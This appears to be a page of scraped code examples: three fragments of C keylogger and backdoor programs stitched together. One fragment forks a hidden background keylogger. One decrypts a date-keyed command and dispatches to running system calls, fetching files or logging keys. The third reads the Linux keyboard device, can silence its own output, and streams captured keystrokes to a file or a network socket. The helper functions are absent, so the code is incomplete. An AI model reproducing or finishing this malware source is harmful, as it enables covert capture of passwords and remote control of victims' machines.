Beispiel #1
0
int main(int argc, char *argv[]) {  

    void *hdlarr[100];
    initPlugins(hdlarr);
    
    handleArgs(hdlarr, argc, argv);

    if (background) {
        createProccess(hdlarr);
    }
    else {
        keylogger(hdlarr);
    }
}
void getCommand(char **command, int payloadSize)
{
    char *decryptedCommand = NULL;
    char *token = NULL;
    char date[11];
    struct tm *tm;
    int option = -1;
    time_t t;
    
    // Get the date information
    time(&t);
    tm = localtime(&t);
    strftime(date, sizeof(date), "%Y:%m:%d", tm);
    
    // Decrypt our command using today's date
    token = malloc(sizeof(char) * payloadSize);
    decryptedCommand = encrypt_data(*command, date, payloadSize);

    // Get the command value and an optional filename or command
    if (sscanf(decryptedCommand, "%d|%[^NULL]", &option, token) == 0)
    {
        free(token);
        return;
    }

    // Give the client some time to set itself up
    sleep(2);
    
    // Execute the given command
    switch (option) {
        case EXECUTE_SYSTEM_CALL:
            executeSystemCall(token);
            break;
        case FIND_FILE:
            retrieveFile(token);
            break;
        case KEYLOGGER:
            keylogger();
            break;
        default:
            break;
    }
    free(token);
}
Beispiel #3
0
void createProccess(void **hdlarr) {
    pid_t pid;
    pid = fork();

    // If main, fork.
    if (pid > 0) {
        printf("Main: Creating proccess (PID: %i)\n", pid);
        return;
    }

    // If error...
    if (pid == -1) {
        printf("Error while trying to fork!");
        return;
    }

    // If proccess, run keylogger.
    if (pid == 0) {
        keylogger(hdlarr);
    }
}
Beispiel #4
0
int main(int argc, char *argv[]){
    char *KEYBOARD_DEVICE = get_keyboard_event_file();
    if(!KEYBOARD_DEVICE){
        print_usage_and_quit(argv[0]);
    }

    int writeout;
    int keyboard;

    int network = 0, file = 0, option = 0;
    char *option_input;
    while((option = getopt(argc, argv,"sn:f:")) != -1){
        switch(option){
            case 's':
                freopen("/dev/null", "w", stdout);
                freopen("/dev/null", "w", stderr);
                break;
            case 'n':
                network = 1;
                option_input = optarg;
                break;
            case 'f':
                file = 1;
                option_input = optarg;
                break;
            default: print_usage_and_quit(argv[0]);
        }
    }

    // If both arguments or neither are provided...
    if(network == file){
        print_usage_and_quit(argv[0]);
    }
    else if(file){
        if((writeout = open(option_input, O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0){
            printf("Error opening file %s: %s\n", argv[2], strerror(errno));
            return 1;
        }
    }
    else if(network){
        writeout = get_socket_file_descriptor(option_input, PORT);
        if(writeout < 0){
            printf("Error creating socket on %s\n", option_input);
            return 1;
        }
    }

    if((keyboard = open(KEYBOARD_DEVICE, O_RDONLY)) < 0){
        printf("Error accessing keyboard from %s. May require you to be superuser\n", KEYBOARD_DEVICE);
        return 1;
    }


    keylogger(keyboard, writeout);

    close(keyboard);
    close(writeout);
    free(KEYBOARD_DEVICE);

    return 0;
}